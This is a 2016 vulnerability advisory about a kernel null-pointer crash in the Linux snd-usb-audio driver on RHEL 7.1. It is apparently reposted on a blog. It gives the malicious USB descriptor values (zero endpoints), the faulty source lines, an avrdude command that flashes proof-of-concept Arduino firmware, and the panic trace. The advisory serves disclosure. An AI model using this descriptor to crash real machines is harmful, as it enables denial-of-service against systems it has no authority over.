Linux snd-usb-audio Nullpointer Dereference
Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid
USB device descriptors (snd-usb-audio driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net//advisories/
Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
device requiring the snd-usb-audio driver.
Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Kernel 3.10.0-327.10.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.
Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:
[*] Device-Descriptor
bLength: 0x12
bDescriptorType: 0x1
bcdUSB: 0x200
bDeviceClass: 0x3
bDeviceSubClass: 0x0
bDeviceProtocol: 0x0
bMaxPacketSize: 0x40
idVendor: 0x45e
idProduct: 0x283
bcdDevice: 0x100
iManufacturer: 0x1
iProduct: 0x2
iSerialNumbers: 0x3
bNumConfigurations: 0x1
This is the configuration descriptor containing the malicious value for
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the
system.
[*] Configuration-Descriptor
bLength: 0x9
bDescriptorType: 0x2
wTotalLength: 0x27
bNumInterfaces: 0x1
bConfigurationValue: 0x1
iConfiguration: 0x0
bmAttributes: 0x0
bMaxPower: 0x31
[*] Interface-Descriptor
bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x0
bInterfaceClass: 0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x3
wMaxPacketSize: 0x404
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x1
bmAttribut: 0x2
wMaxPacketSize: 0x4
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x82
bmAttribut: 0x1
wMaxPacketSize: 0x4
bInterval: 0xc
The snd_usb_audio driver assumes that there will be at least one endpoint-
descriptors.
If the interface-descriptor contains a zero-value for bNumEndpoints or no
endpoint-descriptor is provided, the driver tries to dereference a null-
pointer and the kernel crashes:
****
$ nm snd-usb-audio.ko.debug | grep create_fixed_stream_quirk
000000000000d830 t create_fixed_stream_quirk
$ addr2line -e snd-usb-audio.ko.debug D8E5
/usr/src/debug/kernel-3.10.0-
****
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (sound/usb/quirks.c)
173 if (fp->datainterval == 0)
174 fp->datainterval = snd_usb_parse_datainterval(
175 if (fp->maxpacksize == 0)
176 fp->maxpacksize = le16_to_cpu(get_endpoint(alts, 0)->wMaxPacketSize);
/* Nullpointer-Dereference */
177 usb_set_interface(chip->dev, fp->iface, 0);
178 snd_usb_init_pitch(chip, fp->iface, alts, fp);
****
Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
firmware will emulate the defective USB device.
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex
The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!
Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
only physical access to the system is required.
Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this
Security Advisory.
References:
https://bugzilla.redhat.com/
Kernel Stacktrace:
[ 45.443386] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 45.641883] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint
descriptors, different from the interface descriptor's value: 0
[ 45.669376] usb 1-1: New USB device found, idVendor=045e, idProduct=0283
[ 45.676222] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[ 45.686285] usb 1-1: Product: ĉ
[ 45.689549] usb 1-1: Manufacturer: ĉ
[ 45.692998] usb 1-1: SerialNumber: %
[ 45.828644] BUG: unable to handle kernel NULL pointer dereference at
0000000000000004
[ 45.829019] IP: [<ffffffffa041b8e5>] create_fixed_stream_quirk+
[snd_usb_audio]
[ 45.829019] PGD 0
[ 45.829019] Oops: 0000 [#1] SMP
[ 45.829019] Modules linked in: snd_usb_audio(+) snd_usbmidi_lib snd_hwdep
snd_rawmidi snd_seq snd_seq_device snd_pcm snd_timer snd soundcore
ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute
bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6
nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw
ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw
iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm
drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic
pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[ 45.829019] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[ 45.829019] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[ 45.829019] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 45.829019] RIP: 0010:[<ffffffffa041b8e5>] [<ffffffffa041b8e5>]
create_fixed_stream_quirk+
[ 45.829019] RSP: 0018:ffff88000bd23ae8 EFLAGS: 00010246
[ 45.829019] RAX: 0000000000000000 RBX: ffff88000d61f280 RCX: 0000000000000000
[ 45.829019] RDX: 00000000ffffffff RSI: 0000000000000000 RDI: ffff88000bd36d00
[ 45.829019] RBP: ffff88000bd23b10 R08: ffff88000c57d4c0 R09: ffff88000e401b00
[ 45.829019] R10: ffffffffa03a3005 R11: ffffea00003c1000 R12: ffff88000bd36d00
[ 45.829019] R13: ffff88000f508f48 R14: 0000000000000000 R15: ffff88000c525800
[ 45.829019] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[ 45.829019] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 45.829019] CR2: 0000000000000004 CR3: 000000000d600000 CR4:
00000000000006f0
[ 45.829019] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[ 45.829019] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 45.829019] Stack:
[ 45.829019] ffff88000d6bf6c0 ffffffffa041e1c0 ffff88000bd36d00 0000000000000000
[ 45.829019] ffffffffa0428f40 ffff88000bd23b20 ffffffffa041beda ffff88000bd23b58
[ 45.829019] ffffffffa041bf83 ffff88000bcd0000 0000000000000000 ffff88000bd36d00
[ 45.829019] Call Trace:
[ 45.829019] [<ffffffffa041beda>] snd_usb_create_quirk+0x1a/0x50
[snd_usb_audio]
[ 45.829019] [<ffffffffa041bf83>] create_composite_quirk+0x73/
[snd_usb_audio]
[ 45.829019] [<ffffffffa041beda>] snd_usb_create_quirk+0x1a/0x50
[snd_usb_audio]
[ 45.829019] [<ffffffffa040e858>] usb_audio_probe+0x118/0x8d0 [snd_usb_audio]
[ 45.829019] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/
[ 45.829019] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 45.829019] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 45.829019] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 45.829019] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 45.829019] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 45.829019] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 45.829019] [<ffffffff813d3b34>] driver_register+0x64/0xf0
[ 45.829019] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 45.829019] [<ffffffffa0437000>] ? 0xffffffffa0436fff
[ 45.829019] [<ffffffffa043701e>] usb_audio_driver_init+0x1e/
[snd_usb_audio]
[ 45.829019] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 45.829019] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 45.829019] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 45.829019] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+
[ 45.829019] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 45.829019] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 45.829019] Code: 0f 83 e0 00 00 00 48 8d 14 92 80 7b 2d 00 4c 8d 2c d0 41
0f b6 45 07 88 43 2e 0f 84 86 00 00 00 8b 43 30 85 c0 75 0b 49 8b 45 18 <0f>
b7 40 04 89 43 30 49 8b 7c 24 08 31 d2 e8 58 f6 ff e0 8b 73
[ 45.829019] RIP [<ffffffffa041b8e5>] create_fixed_stream_quirk+
[snd_usb_audio]
[ 45.829019] RSP <ffff88000bd23ae8>
[ 45.829019] CR2: 0000000000000004
[ 46.297193] ---[ end trace b239663354a1c556 ]---
[ 46.303929] Kernel panic - not syncing: Fatal exception
[ 46.304893] drm_kms_helper: panic occurred, switching back to text console
Komentarų nėra:
Rašyti komentarą